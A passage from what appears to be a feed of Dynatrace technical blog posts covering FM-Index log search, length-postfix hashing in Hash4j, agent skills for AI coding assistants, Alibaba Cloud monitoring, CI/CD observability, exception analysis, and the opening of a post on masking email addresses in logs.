int found = fmi.locate(pattern, 0, pattern.length, locations, counts); // find all matches 

Where counts is the number of matches we obtained in the previous count query. Note that we can also restrict how many positions we want to find by changing the last parameter of locate.

Second, we can extract the actual log lines, either in its entirety (using extractUntilBoundary) or partially using one of its variants. In this case, we want to see what is to the right side of each match (i.e., the context after the pattern), so we can use extractUntilBoundaryRight:

char[] destination = new char[1024]; // maximum length per extraction 
for (int i = 0; i < found; i++) { 
    // extract previous locations until the end of line 
    int length = fmi.extractUntilBoundaryRight(locations[i] - 1, destination, 0, '\n');  
    System.out.println(new String(destination, 0, length)); // print the extracted string 
} 

This will print each match and the remaining of the log line for all of the 283 lines containing Permission Denial:. For example:

Permission Denial: reading com.android.providers.media.MediaProvider uri content://media/external/audio/media from pid=12127, uid=10146 requires android.permission.READ_EXTERNAL_STORAGE, or grantUriPermission() 
 
Permission Denial: receiving Intent { act=android.intent.action.PHONE_STATE flg=0x10 (has extras) } to ProcessRecord{9ef8336 4492:com.tencent.mm/u0a105} (pid=4492, uid=10105) requires android.permission.READ_PRIVILEGED_PHONE_STATE due to sender android (uid 1000) 
 
Permission Denial: broadcasting Intent { act=android.media.SCO_AUDIO_STATE_CHANGED flg=0x10000010 (has extras) } from null (pid=-1, uid=-1) requires com.huawei.permission due to registered receiver BroadcastFilter{14b6ff9 u0 ReceiverList{c9f82e3 633 com.huawei.espacev2/10102/u0 remote:497ab12}} 
 
... 

Note that we can also stop extracting at a certain character (for example, a space) if we know there is some structure to the log line itself. The runtime to extract depends only on the number of characters and is roughly ~10 microseconds per character, regardless of how arbitrary the pattern may be or its frequency. That means that the extraction of 100 log lines of average length 100 characters will take around 100 * 100 * 10 microseconds = 100 milliseconds. And all of this while your data and index take only ~30% to ~40% of the original log size.

How do I store my index?

Imagine you have already run a few queries and found some interesting patterns in your logs, but you wish to save the index to disk so you can load it later without having to rebuild it from scratch. That is easy because the whole index is serializable. You can simply write it to a byte array like this:

// Save 'serialized' to disk as needed 
byte[] serialized = Serialization.writeToByteArray(FmIndex::write, fmi); 

And read it back later like this:

// read from disk into 'serialized' byte array as needed 
FmIndex deserialized = Serialization.readFromByteArray(FmIndex::read, serialized); 

And that’s it! You can now save and load your FM-Index as needed, making it easy to persist your work and pick up where you left off.

Conclusion

As we saw, the FM-Index is a powerful tool for anyone dealing with large amounts of log data. It combines competitive compression with fast and arbitrary search capabilities (usually in microseconds-time), making it ideal for scenarios where logs are static and queries are changing. While still a relatively niche data structure, state-of-the-art research articles on log search engines have already demonstrated the capabilities of the FM-Index.

By using the index4j library, you can easily build an FM-Index over your logs in your customized log processing pipeline. Whether you’re hunting for specific error messages or performing recurrent queries, the FM-Index provides a flexible and efficient solution that can be tailored to your use case. If you are interested in other cool projects that we work at Dynatrace Research, make sure to check out our research homepage and our open source GitHub repository!

The post index4j: Open-source FM-Index for fast queries on compressed logs appeared first on Dynatrace news.

Hashing shows up everywhere in computer science, from quick lookups in hash tables to verifying data with checksums and fingerprints. A hash table works by turning each key into an integer so it can be retrieved fast—ideally with each distinct key producing its own unique value. When two different inputs produce the same output, you get a collision.

While hash tables usually handle collisions through strategies like chaining or open addressing, it is still best to avoid them wherever possible, especially for use cases such as calculating checksums or fingerprinting.

Hashing raw byte arrays is simple enough, but real‑world data structures often contain fields of different lengths, and that’s where collisions become surprisingly easy to introduce.

The Real-Time Analytics lab of Dynatrace Research has developed an open-source library called Hash4j that implements some best practices for hashing, including our preferred approach to variable-length fields.

This article walks through why variable‑length fields make hashing tricky and how to handle them cleanly.

A common pitfall: Concatenating variable-length fields

Let’s consider a simple example of a data structure with two variable-length string fields:

firstName and lastName.

record Person(String firstName, String lastName) {} 

A naive approach to hashing this structure might involve concatenating the two strings and then applying a hash function to the resulting byte sequence. However, this method can lead to collisions. For instance, the records ("ANNA", "BELL") and ("ANN", "ABELL") would both produce the same concatenated string "ANNABELL". This occurs because the boundaries between the variable-length fields are lost, making it impossible to distinguish between different combinations of field values.

When serializing data structures for hashing, good practice is to ensure that the serialized byte sequence allows for unambiguous reconstruction of the original structure, which you can’t do in the example above unless additional information is provided.
Let’s explore different strategies to handle variable-length fields properly by adding extra information when mapping the data structure to a byte sequence.

Strategy 1: Delimiters

One effective strategy to avoid this issue is to use delimiters between variable-length fields. For example, we could serialize the data structure as:

firstName ‖ ";" ‖ lastName 

where ‖ denotes concatenation and ";" is a chosen delimiter. This way, the records ("ANNA", "BELL") and ("ANN", "ABELL") would serialize to "ANNA;BELL" and "ANN;ABELL", respectively, thus producing distinct byte sequences and avoiding collisions.

The limitation of this approach is the need to ensure that the chosen delimiter does not appear in the actual data. For strings like names, this might be manageable as certain byte patterns are not used. For example, the null character is often used as a delimiter in C-style strings as it does not appear in regular text.

Escape sequences are needed to tell delimiters apart from real data, but that means scanning everything and replacing conflicts, which adds overhead. Nested structures like List<List<String>> make this even harder, since each level needs its own delimiter rules, quickly becoming complex and error‑prone.

Strategy 2: Length prefixes

A better approach is to use length prefixes for each variable-length field. This method involves prefixing each field with its length before concatenation. For example, we could serialize the data structure as:

len(firstName) ‖ firstName ‖ len(lastName) ‖ lastName

where len() represents the length of the string. This way, the records ("ANNA", "BELL") and ("ANN", "ABELL") would serialize to 4 ‖ "ANNA" ‖ 4 ‖ "BELL" and 3 ‖ "ANN" ‖ 5 ‖ "ABELL", respectively, resulting in distinct byte sequences. This approach eliminates the need for delimiters and escaping. Additionally, it scales better for nested data structures, as each level can independently use length prefixes without concern for delimiter conflicts.

This method is the standard practice in many serialization protocols, such as Protocol Buffers and Thrift. Length prefixes make serialized data easy to parse because the parser can read the length first and then extract exactly that many bytes. But for hashing, this doesn’t matter because you only need a one‑way conversion to a byte sequence, not full reconstruction.

Strategy 3: Length postfixes

Another approach is to use length postfixes, where the length of each variable-length field is appended after the field value itself. For example, we could serialize the data structure as:

firstName ‖ len(firstName) ‖ lastName ‖ len(lastName)


This method also ensures that different combinations of variable-length fields produce distinct byte sequences. It may be less intuitive than using length prefixes, as the length information appears after the data, which is also a less common practice in serialization, because it would require parsing starting from the end of the byte sequence to reconstruct the original data structure. However, for hashing purposes, this method is equally effective in preventing collisions, because, for a high-quality hash function, the hash-quality does not change when reordering the input bytes.

The method is even better suited for streaming scenarios or data structures, where the length of the data may not be known in advance. For example, consider null-terminated strings, where the end of the string is indicated by a special null character or linked lists, where the end of the list is indicated by a null pointer or null reference. This would require double scanning the data: once to compute the length, once to write it. In contrast, the postfix approach allows writing the data first and then appending the length, which can be determined during the same pass.

What about mixing strategies?

Though not recommended, strategies can also be mixed, provided that this is done with careful consideration. For example, one could use length prefixes for some fields and delimiters for others. However, this approach can introduce complexity and potential pitfalls if not managed carefully. It is generally advisable to stick to a single consistent strategy throughout the data structure to maintain clarity and reduce the risk of errors resulting in a higher collision probability.

To demonstrate this, consider a record with two variable-length integer arrays:

record Record(int[] v1, int[] v2) {}

Assume that we serialize the first array using length prefixes and the second array using a postfix length. The serialization would look like this:

len(v1) ‖ v1 ‖ v2 ‖ len(v2)

Obviously, this serialization is unambiguous, because the record can be reconstructed without any issue if we assume that the lengths are encoded with a fixed amount of bytes following these steps:

1. Take the length of v1 from the beginning of the byte sequence
2. Read the corresponding number of integer values for the first array
3. Take the length of v2 from the end of the byte sequence
4. Read the corresponding number of integer values for the second array from the remaining bytes in the middle

Now, let’s see if we serialize the first array with a length postfix and the second array using a length prefix. The serialization would look like this:

v1 ‖ len(v1) ‖ len(v2) ‖ v2 

In this case, the serialization can be ambiguous. Consider the
records ([5,1,4], [6,7]) and ([5], [3,2,6,7]). Both records would produce the same serialized byte sequence:

5 ‖ 1 ‖ 4 ‖ 3 ‖ 2 ‖ 6 ‖ 7 

This example shows that mixing strategies can lead to ambiguities and potential hash collisions if not handled carefully. Applying a single strategy consistently across all variable-length fields in a data structure is a safer and more reliable approach.

Is the length information needed for all variable-length fields?

You might have noticed that we could skip the length of one field in the example above. When using length-postfixes, the length of the first variable-length field can be omitted because it can be inferred from the total length of the byte sequence minus the lengths of the other fields.

v1 ‖ v2 ‖ len(v2) 

Similarly, when using length-prefixes, the length of the last variable-length field can be omitted for the same reason.

It’s safe to omit certain length values if you can still determine the size of every variable‑length field without ambiguity, whether by reading from the beginning, the end, or by deriving it from other fields.

For example, a data structure consisting only of a single variable-length field does not require any length information, as the length can be derived from the total length of the byte sequence minus the lengths of all fixed-length fields. Also, in a data structure with multiple variable-length fields, whose lengths are known to be equal or can be derived from other fields, some length information can be theoretically omitted.

However, these performance optimizations are not recommended as a general practice as they introduce complexity and risk for errors, in particular, when dealing with nested and more complex data structures.

How to serialize the length information

When serializing the length information for variable-length fields, we recommend using fixed-size integers that are appropriate for the expected maximum length of the fields. For example, if you expect that the length of a string will not exceed 65,535 characters, you can use a 2-byte unsigned integer to represent the length. If the lengths can be larger, consider using 4-byte or 8-byte integers accordingly. In Java, the size of Arrays and Collections cannot exceed Integer.MAX_VALUE, so a 4-byte integer is usually sufficient there.

Variable‑length integer encodings like VarInt are great for saving space during serialization, but they’re not recommended for hashing. They require branching logic to encode, which is slower than handling fixed‑size integers. Since modern hash functions can process each byte in just a few CPU cycles, the extra overhead from variable‑length encodings simply isn’t worth it.

Moreover, using variable-length encodings for the length information also introduces additional complexity and potential for errors. For example, VarInt is not compatible with the length-postfix strategy without reversing the byte order, because the byte sequence cannot be unambiguously deserialized when reading from the end to the beginning, which is the underlying idea behind length-postfixes.

Hash4j’s approach

Hash4j, the Dynatrace hash library for Java, provides a comprehensive set of hashing utilities, including support for hashing data structures with variable-length fields. Due to the advantages discussed above, Hash4j implements the length-postfix strategy for serializing variable-length fields. This allows hashing of collections, arrays, optionals, and other composed data structures with variable-length fields effectively while minimizing the risk of collisions. Let’s consider the following data structure to store information about a personal contact:

record Contact( 
  String firstName, 
  String lastName, 
  OptionalInt age, 
  byte[] utf8Email, 
  List<String> sortedSocialMediaHandles 
  ) {} 

In this example, Contact has five variable-length fields:

1. firstName – a variable-length string representing the person’s first name.
2. lastName – a variable-length string representing the person’s last name.
3. age – an optional integer representing the person’s age if known. Optionals can be considered and treated like lists with lengths restricted to zero and one. Thus, a single byte will be sufficient to represent the length information.
4. utf8Email – a variable-length byte array containing the person’s email address encoded in UTF-8. (Arrays in Java records are discouraged, but this is just to demonstrate Hash4j’s capability of handling arrays.)
5. sortedSocialMediaHandles – a variable-length list of strings representing the person’s social media handles. This field nests variable-length strings inside a variable-length list. The list is sorted to impose a deterministic order before hashing so that the same set of handles yields the same hash regardless of insertion order. Unordered collections like sets would require special handling to yield order-independent hash values, which is beyond the scope of this blog post.

With Hash4j Contact instances can be simply hashed by adding a member method to the record that describes how the individual fields contribute to the hash computation:

void contribute(HashSink hashSink) { 
  hashSink 
    .putString(firstName) 
    .putString(lastName) 
    .putOptionalInt(age) 
    .putByteArray(utf8Email) 
    .putOrderedIterable(sortedSocialMediaHandles,
      (handle, hs) -> hs.putString(handle)); 
} 

The putString, putOptionalInt, putByteArray, and putOrderedIterable methods all handle the serialization of variable-length fields using the length-postfix strategy internally, ensuring that the hash computation minimizes the risk of collisions. All methods append some fixed-size information about the length to the data to the hash sink. For Strings, byte arrays, and Iterables, the length is represented as a 4-byte integer, while for Optionals, the length is represented as a 1-byte value.

After defining the contribute method, the hash of a Contact instance c can then finally be computed as follows:

long hash = Hashing.komihash5_0().hashToLong(c, Contact::contribute); 

Here komihash5_0() is only one of the high-quality hash functions provided by Hash4j. The library also offers other hash functions like XXH3 and MurmurHash3, all of which can be used interchangeably in the example above.

Effective serialization strategies for hashing variable-length fields

When hashing data structures with variable-length fields, it is crucial to use serialization strategies that preserve the boundaries between fields to minimize the risk of hash collisions. Applying the length‑postfix strategy the way Hash4j does gives you a robust approach to hashing variable‑length fields. It avoids the ambiguity problem with naive concatenation and is simpler and better suited for nested data structures than delimiter-based methods. Unlike prefixes, it does not require a second pass over fields whose length is not known in advance.

The post Best practices for hashing variable-length data structures appeared first on Dynatrace news.

If you’ve already wired an AI coding assistant up to Dynatrace, through the MCP server, the Dynatrace CLI (dtctl), or a custom agent you built yourself, you’ve seen your agent have difficulty interpreting data or calling for fields that don’t exist. This makes sense, your agent may be making assumptions based upon training that isn’t relevant. It lacks the skills to understand how to get the best value from Dynatrace. That is where Dynatrace for AI fills the gap.

What are agent skills?

Agent skills are an open format for packaging domain knowledge that AI agents can load on demand. A skill is a folder containing a SKILL.md file with focused instructions, examples, and optional reference material. Compatible agents, such as Claude Code, GitHub Copilot, Cursor, Cline, or others, discover installed skills and load the full content only when it’s relevant to the task at hand.

The net effect: you can install dozens of skills without bloating an agent’s context window. Agents pull in exactly what’s relevant when it’s relevant, and ignore the rest.

Built for agents working with Dynatrace

Dynatrace for AI is a curated set of skills that give an agent the three things it needs to efficiently do real work on Dynatrace:

• Access to Dynatrace data and insights: through DQL queries against Grail®, Smartscape® dependency graph, or problem records.
• Dynatrace expertise: the syntax rules, entity-model distinctions, and query patterns that separate a working query from one that looks correct but returns nothing.
• Task-level starting points: ready-made prompt templates for common engineering workflows, so teams don’t have to invent the approach from scratch.

Skills don’t connect to Dynatrace directly. You have to pair them with the MCP server or dtctl to perform live queries and initiate actions. Together, they turn an agent with generic observability intuition into one that easily extracts value from Dynatrace.

Complement your agent with domain expertise

The first release of Dynatrace for AI agent skills is focused on the workflows that engineering teams run every day:

• DQL fundamentals: covering the pipeline model, core data objects, and when to use fetch, timeseries, or smartscapeNodes to prevent failures that typically come from models trained on generic query-language data.
• Observability across the stack: services, traces, logs, frontends, and problems, each covering the entity model, key fields, and query patterns that make answers correct rather than merely plausible.
• Infrastructure and cloud: covering Kubernetes, AWS, and hosts.
• Platform tasks worth delegating: providing programmatic creation of dashboards and notebooks

Prompt templates for common workflows

Alongside the skills, the repo hosts a small set of prompt templates you can use as structured starting points to invoke the right skills for specific tasks. These save teams from having to design their approach from scratch and make outcomes more consistent across agents and users.

Current templates include:

• Performance regression: walks the agent through comparing RED metrics before and after a deployment, correlating any regression with distributed traces, and summarizing the root cause.
• Daily standup: pulls the last 24 hours of problems, deployment activity, and notable anomalies for a team’s services, so anyone can walk into a standup with the relevant production context already framed.
• Troubleshoot a problem: takes a problem ID and guides the agent through root-cause analysis, including affected entities, correlated events, relevant logs and traces, and creates a structured summary for the incident channel.

These are a starting point, not a ceiling, designed to be forked and shaped to your team’s on-call runbooks.

What Dynatrace for AI is and what it isn’t

Skills and prompts are a knowledge and workflow layer. They don’t connect to your Dynatrace environment, define what actions your agent can take, or set guardrails. That’s the job of the tool you pair them with and your Dynatrace permission model.

The quality of what your agent can produce also depends on the entities your environment is instrumented to capture. Skills help agents ask better questions of data, but they don’t control what data is collected.

Think of this skill as onboarding a smart new hire who already knows software, but needs to learn your platform. The skills are the platform user guide; your observability data is the work itself.

Get started

It’s super simple to install the skills and prompts in one go. Just run:

npx skills add dynatrace/dynatrace-for-ai

…or activate the skills as a Claude Code plugin:

claude plugin marketplace add dynatrace/dynatrace-for-ai
claude plugin install dynatrace@dynatrace-for-ai

Make sure your agent can reach Dynatrace, then try a real agent-skill task. A few good example starting prompts:

• “Compare the error rate of the checkout service over the last hour vs the same hour yesterday.”
• “Are any pods in the production namespace restarting or getting OOM-killed right now?”
• “Use the performance-regression prompt to check the deployment I just shipped.”

The difference in output quality is immediate: fewer corrections, cleaner queries, and answers that accurately reflect how Dynatrace continuously models your environment in real-time.

The Dynatrace for AI project is open source and actively developed. Issues, discussions, and pull requests are all welcome, especially from teams running agent skills against real workloads. We’d love to hear from you.

The post Dynatrace for AI: Teach your AI coding agent how to use Dynatrace appeared first on Dynatrace news.

Multi-cloud architecture is now the norm. Each cloud brings unique strengths, and Alibaba Cloud often plays a key role for organizations with customers or operations in China and the broader Asia‑Pacific region. To make the most of the flexibility of multi-cloud environments, teams need a clear view of how their infrastructure fits together.

The Dynatrace Alibaba Cloud extension helps provide that visibility by bringing Alibaba Cloud telemetry directly into the Dynatrace AI-powered observability platform. The extension is provided to customers and supported by Dynatrace, and is developed by Phenisys, a French IT consulting firm and Premier Dynatrace® Sales Partner with more than 20 years of experience, supporting IT and application observability for customers operating complex, large‑scale environments.

Deep, integrated Alibaba Cloud visibility with Dynatrace

When operating at the scale of large multi-cloud deployments, unified observability becomes essential to avoid blind spots and fragmented operational workflows. The Alibaba Cloud Extension for Dynatrace allows you to observe and analyze Alibaba Cloud services alongside other cloud environments and application components, ensuring full-stack context and deep operational insights.

This extension is designed to:

• Automatically discover and monitor Alibaba Cloud components, with baseline behavior derived from observed metrics.
• Ingest rich metric streams for critical services such as Elastic Compute Service (ECS), Server Load Balancer (SLB), Network Address Translation (NAT) Gateway, Cloud Enterprise Network (CEN), Network Attached Storage (NAS), and VPN.
• Retrieve and correlate Alibaba tags with Dynatrace OneAgent entities, preserving native cloud metadata and enabling powerful filtering, grouping, and contextualization of telemetry.

How it works: Mechanisms and data characteristics

Unlike sampling-only tools or periodic polling models that provide limited context, the Dynatrace extension operates via remote ActiveGate instances that connect directly to Alibaba Cloud’s Cloud Monitor API endpoints.

Data collection model

• Pull vs poll: The extension pulls metrics directly from Alibaba Cloud’s monitoring APIs via ActiveGate. Dynatrace ingests metrics as exposed by those APIs, without introducing additional sampling beyond the source data.
• Granularity: Metrics such as CPU utilization, network throughput, IOPS, latency, and health statuses are reported at their native resolution (typically minute-level resolution with cloud provider API semantics).
• Topology and correlation: Resource identifiers and Alibaba tags are ingested so that ECS instances and other resources are correlated with the Dynatrace topology model and can be mapped to application performance and dependency graphs.

Licensing and data handling

• Metrics ingestion is metered based on actual metric data points. Dynatrace classic and platform subscription models calculate consumption accordingly.
• There is no upfront cost to activate the Alibaba Cloud extension in Dynatrace Hub. Charges apply only for the telemetry volume ingested.

AI-powered insights with Dynatrace

Dynatrace Intelligence is an agentic operations system at the core of the Dynatrace platform that fuses deterministic AI with agentic AI to drive a new level of reliability across observability and AI-powered operations. By unifying Alibaba Cloud telemetry with broader application and infrastructure data, Dynatrace customers can:

• Detect performance deviations across services.
• Evaluate cross-layer dependencies automatically.
• Provide causal analysis to accelerate resolution during incidents.

This level of intelligence helps reduce alert fatigue and empowers teams to identify underlying issues and rapidly take remediation steps—even in complex multi-cloud environments where manual correlation would be prohibitively time-consuming.

Business and operational benefits

Bringing Alibaba Cloud into the Dynatrace observability fold enables:

• Unified dashboards and governance across hybrid and multi-cloud stacks.
• Faster troubleshooting with contextualized telemetry and AI-powered analysis.
• Metadata-driven insights using native Alibaba tags correlated with Dynatrace topology.
• Support improved operational efficiency by eliminating blind spots and integrating cloud metrics with service performance and user experience.

Getting Started

For IT leaders, Ops, or SRE teams, the Alibaba Cloud extension is accessible via the Dynatrace Hub and fully documented for deployment.

Further reading

• Get the extension from the Hub:
  • Alibaba Cloud Extension
• Technical documentation:
  • Alibaba Cloud Extension Documentation page
• Other apps built by Phenisys:
  • MS Teams App

Dynatrace®; OneAgent®; ActiveGate®; and Dynatrace Intelligence are trademarks of the Dynatrace, Inc. group of companies. All other trademarks are the property of their respective owners.

The post Achieving enhanced observability for Alibaba Cloud in multi-cloud environments with Dynatrace appeared first on Dynatrace news.

Tired of your CI/CD pipeline keeping you in the dark? These questions probably sound all too familiar:

• Where is my pipeline right now?
• Why is my pipeline slow or unstable?
• Which tests are flaky and delaying releases?
• How fast can artifacts reach production?
• Which phase is slowing down my artifacts?

CI/CD pipelines can be complex, and a lack of visibility can create delays, instability, and inefficiency. The Dynatrace platform is like flipping a switch in a darkened room. You can see what’s actually happening, answer pressing questions, and gain insights that can improve performance. Let’s take a look at how Dynatrace can illuminate your pipelines.

Elevating CI/CD with observability: From code to confidence

Here’s how each question maps to a problem and its solution:

Where is my pipeline right now, and why is it slow or unstable?

Challenge: Pipelines can feel like black boxes—teams often don’t know whether they’re stuck during build, waiting on tests, or failing at deployment. Additionally, slow or unstable pipelines miss service-level agreements, frustrate teams, and delay releases due to bottlenecks or resource issues.

Insight: Dynatrace provides real-time visibility into each pipeline stage by using tracing and metrics. It pinpoints performance bottlenecks, detects anomalies, and triggers alerts to enable fast resolution. By analyzing stage durations and resource usage, such as CPU spikes during testing, it helps teams stabilize pipelines and meet deadlines.

As shown in the screenshot below, ingesting SDLC events into an Azure DevOps pipeline helps teams identify issues early and maintain pipeline reliability by enabling visibility into pipeline, execution status, and error-prone tasks.

Which tests are flaky and delaying releases?

Challenge: Flaky, inconsistent tests erode trust and slow down releases as teams spend time debugging false failures.

Insight: Dynatrace identifies flaky tests by tracking execution patterns and failure rates. By tagging test spans with metadata using OpenTelemetry, teams can quickly spot unreliable tests, isolate them, and keep delivery moving smoothly.

As illustrated in the screenshot below, integrating OpenTelemetry with a Jenkins pipeline enables the generation of metrics, logs, and traces. These are ingested via the Dynatrace Collector, providing a comprehensive view that helps teams pinpoint the test executions.

Furthermore, Dynatrace allows teams to drill into spans, logs, and exceptions using context-aware data, offering end-to-end visibility from the originating endpoint all the way to the underlying logs and exception traces, as seen in the example below.

How fast can artifacts reach production?

Challenge: Slow artifact promotion from development to production creates unpredictable release cycles, delaying value delivery.

Insight: Dynatrace measures end-to-end time from commit to deployment. Visualizing the pipeline’s flow with traces helps optimize stages, reduce wait times, and ensure predictable releases.

As seen below, leveraging the GitLab API in combination with Dynatrace Workflows, teams gain real-time visibility into pipeline behavior over time, eliminating uncertainty and improving confidence in delivery processes.

Additionally, Dynatrace predictive AI capabilities proactively inform teams of potential delays or anomalies, enabling earlier intervention and smoother release cycles.

Implement CI/CD pipeline observability with Dynatrace

Consider the following practical techniques to unlock the full potential of Dynatrace within your CI/CD pipeline. Each approach enables visibility into different aspects of the software delivery lifecycle, helping teams monitor, analyze, and optimize their pipeline performance.

1. OpenTelemetry

Instrument your CI/CD pipeline with OpenTelemetry to stream real-time metrics, traces, and logs into Dynatrace. This approach provides comprehensive observability but may require setting up and maintaining collectors.

OpenTelemetry instrumentation examples:

• Jenkins OpenTelemetry example
• GitLab Observability with OpenTelemetry example
• GitHub Actions using OpenTelemetry example

2. Dynatrace Workflows

Dynatrace Workflows automate the periodic retrieval of build and deployment metrics from CI/CD tool APIs. This method is easy to set up and does not require changes to the pipeline itself.

Dynatrace workflow examples for Pipeline Observability

• Jenkins Dynatrace workflow and dashboard example
• Azure DevOps workflow and dashboard example
• Gitlab Dynatrace workflow and dashboard example

3. Custom extensions

Similar to workflows, extensions can query CI/CD APIs and ingest relevant metrics into Dynatrace. They avoid pipeline modifications but require development effort and ongoing maintenance.

4. Pushing SDLC Events

Configure the CI/CD tools to send Software Development Lifecycle (SDLC) events (e.g., build start, success, failure) directly to Dynatrace via the SDLC Events API. Once ingested, these events can be analyzed using Dynatrace Query Language (DQL) to detect patterns, trigger alerts, or correlate with other observability signals.

Alternatively, OpenPipeline can be setup to extract SDLC events from the pipeline logs in tools like Jenkins, ArgoCD, and Github. This enables out-of-the-box pipeline observability by capturing metadata such as application name, pipeline run details, and version, supporting CI/CD analytics, and root cause analysis enriched with lifecycle metadata.

The table below outlines the types of datasets accessible through each technique, helping you choose the right approach based on your observability goals.

Conclusion

Bringing observability into your CI/CD pipelines with Dynatrace helps teams deliver software faster and more reliably. By leveraging techniques like OpenTelemetry, Dynatrace Workflows, and SDLC events, teams gain the visibility needed to continuously improve their delivery process.

What’s next?

In the next post, we will explore how to integrate your CI/CD tools with Dynatrace using these techniques. In the meantime, here are a few examples that show how this works in practice:

• ArgoCD deployment observability
• Azure DevOps pipeline observability
• GitHub Actions pipeline observability
• GitLab pipeline observability clinic video

The post Unlocking CI/CD success with observability appeared first on Dynatrace news.

An exception does not always mean that something in your systems failed, but they can indicate current performance problems or issues that could cause failures in the future. For developers, investigating exceptions has traditionally been slow and tedious, requiring you to juggle different tools to assess the impact of an exception.

The new Exception Analysis in the Dynatrace Distributed Tracing app is designed to make this part of your job easier. It offers a new way to spot, group, and understand exceptions across the full trace, with readable stack traces, aggregated insights, and visual markers to highlight problematic spans. In minutes, it can help take you from “something looks odd,” to “this is actually important; it happens 1,000 times an hour; and here is the root cause.”

In this article, we’ll dive into a demo of exception analysis and explore how to investigate and analyze the exceptions over time.

But first, let’s take a closer look at why we care about exceptions in the first place.

Why investigate exceptions?

Exceptions are often the real reason a trace fails or slows down. When you scroll through spans trying to spot the problem, you may find a slow call—but the real issue is an exception somewhere else.

If you do find an exception, you still must figure out:

• Which span threw it?
• Is it happening all the time or just once?
• Is it the same error repeating?
• Which service is triggering it?

This is why Exception Analysis comes in handy. Having an aggregated view of all exceptions over a specific time frame helps you to see and investigate them clearly. It allows you to quickly answer questions like: What broke or slowed down? Where? How often? What is the impact?

Even if an exception hasn’t broken anything yet, issues like unsupported versions of dependencies, deprecated functions, etc. could cause headaches further down the line. An aggregated view helps you see clearly over time which exceptions caused specific failures, and by investigating exceptions that are “only” slowing the system down, you can proactively prevent major incidents in the future and spot slowdowns that would otherwise go undetected.

An example of exception analysis investigation

Let’s take a look at the new Exception Analysis perspective in the Distributed Tracing app. It offers a streamlined way to analyze exceptions over time and understand if they are directly related to failed requests of your services. This also allows users to understand technical exceptions and errors early before they lead to failures or outages later.

We’ll start at the time window of the last 24 hours to get an overview of what is happening in the environment lately. A PHP exception catches our eye. It looks a little bit awkward, and we see it happens quite often, but it’s not really leading to failing errors.

The interesting information here is that it seems like there is a deprecated function used within the application. In the future, this could lead to breaks and real failures when this function is removed or cannot be used in a way as it is used right now.

For developers, Dynatrace provides immediate access to related stack traces with all frames, making it easy to identify where and why an exception occurs. You can also view relevant logs and requests in context at the same location.

Back to our investigations, we also see that this exception is obviously happening on a specific PHP service on the endpoint /like. From there, we can also jump to specific instances of this exception by clicking on View Trace.

We’re now at the Explorer perspective, getting it filtered down to the specific endpoint on the specific service that we care about. And we also see the exception analysis across the trace. We see all exceptions that happen in the context of this trace, together with the trace.

We also see another reason why we had this high number of exceptions. It seems it is happening three times for this specific transaction. We now have a single occurrence of this exception, with a view of the exception message and the exception stack trace.

It also works the other way around. If you have a specific trace and you want to understand whether there’s more examples of a specific exception you can always drill up to the exception analysis to take a closer look.

For example, we can now examine this exception specifically, see only its occurrences, and identify exactly where it happens repeatedly over time.

Investigating a failure caused by an exception

Sometimes an exception isn’t just a slowdown—it’s a real failure. When that happens, Dynatrace links the exception directly to the underlying failure and guides you to a detailed failure analysis, including the full stack trace captured in the context of the failed service call.

Key takeaways about exception analysis

Exception analysis enables developers to gain insights into exceptions and their behavior within the environment and their code so you can resolve issues more quickly.

And, Exceptions Analysis also works for OpenTelemetry. By following semantic conventions, any exceptions in OpenTelemetry spans will appear in Exceptions Analysis.

Top 3 takeaways from this demo:

• Exceptions are often the real reason a trace fails or slows down—and now you know how to view them easily with Dynatrace.
• Dynatrace shows exceptions across the whole trace, not just inside one span, and it supports both OpenTelemetry and OneAgent collection.
• An exception does not always mean that something failed, therefore you can quickly determine whether something broke or slowed down and if so where and what the impact is.

To learn more, check out the following resources.

• Documentation
• Failure detection example
• Data in context: How Dynatrace solves the OpenTelemetry analytics challenge

The post Why exceptions matter: Elevating your distributed tracing investigations appeared first on Dynatrace news.

Protecting Personally Identifiable Information (PII) data in logs is crucial for supporting privacy and compliance. While Dynatrace OneAgent can mask data at capture/source, sensitive information like social security numbers (SSNs), payment details, IP addresses, or email addresses might still get through — especially when logs are ingested via other mechanisms such as directly using an API, via Fluent Bit, Cribl, or using the OpenTelemetry collector.

In this blog, practitioners will walk away with an in-depth understanding of how to create your own parsing rules. We’ll focus on masking/obfuscating email addresses in log events during the ingest process, leveraging Dynatrace OpenPipeline before logs are retained. Outside of this blog’s scope is the attribute-based access capability and mask on read.

Best Practice: Before we start masking data at the time of ingest, we’ll validate our configuration within a Dynatrace Notebook to prevent unwanted data loss caused by inaccurate patterns. We’ll walk through:

• Identifying patterns
• Creating a masking pipeline in OpenPipeline
• Validating the results

Step 1: Simulate logs with sensitive data

To demonstrate, we’ll work with logs containing email addresses and IP addresses. These logs use example domains and IPs (e.g., example.com and 203.0.113.x) for documentation purposes.

Here are the eight sample logs sent from various demo applications to the Dynatrace Playground:

• 2025-04-22 11:46:38 [ERROR|[203.0.113.13]
  |K9p8Q3xJwZrStUv4XyZ7AbC2n5M6h8T1v0L2r4 
  |com.example.exmplstore.security.examplePersistentTokenRepository] 
  Can't find credentials for series marie_curie@example.com

• 2025-04-22 13:50:43 [INFO 
  |[203.0.113.112] |A1b2C3d4EfGhIjK5LmN6oPq7RsT8uVw9XyZ0 
  |class com.example.exmplfacades.order.exampleCheckoutLogger Checkout ABC] 
  Receive API Request:method=placePayOrder, cartCode=302132310, 
  customerID=freddie@example.com
  |com.example.exmplstore.checkout.request.PayPlaceOrderRequestDto@3d3a53d5|]

• 2025-04-22 13:58:24 [INFO |||com.example.exmpl.BusinessProcessLoggingAspect] 
  Finish Action:[ PerformSubscriptionAction ], BusinessProcessCode: 
  [ customerRegistrationProcess-martin_luther@example.com-1745294290737],
  OrderCode:[ n/a ]

• 2025-04-29 10:16:13 [INFO ||
  |com.example.exmplmarketing.action.exampleSendCustomerNotificationAction] 
  Successfully sent email forgottenPassword message for process 
  forgottenPasswordProcess-jane_austen@example.com-1745885767984

• 2025-04-29 10:24:26 [INFO |[203.0.113.14] 
  |M3n4P5q6RsTuVwXyZ7aBc8DeF9gHi0JkL2|com.example.exmpl.UserDeleteInterceptor] 
  Deleting userId: cleopatra@example.com, actioned by userId: anonymous

• 2025-04-29 10:24:36 [INFO |[203.0.113.19] 
  |T2u3V4w5XyZaBc6DeF7gHi8JkL9mNo0PqR1|com.example.exmpl.AdvantageApiClient] 
  Loyalty: Check loyalty account exist for email: leonardo_davinci@example.com , 
  wodCorrelationId 2fee137d-915e-46fb-b390-c69aae3f150

• 2025-04-29 10:22:47 [INFO ||
  |com.example.exmplbusproc.aop.BusinessProcessLoggingAspect] 
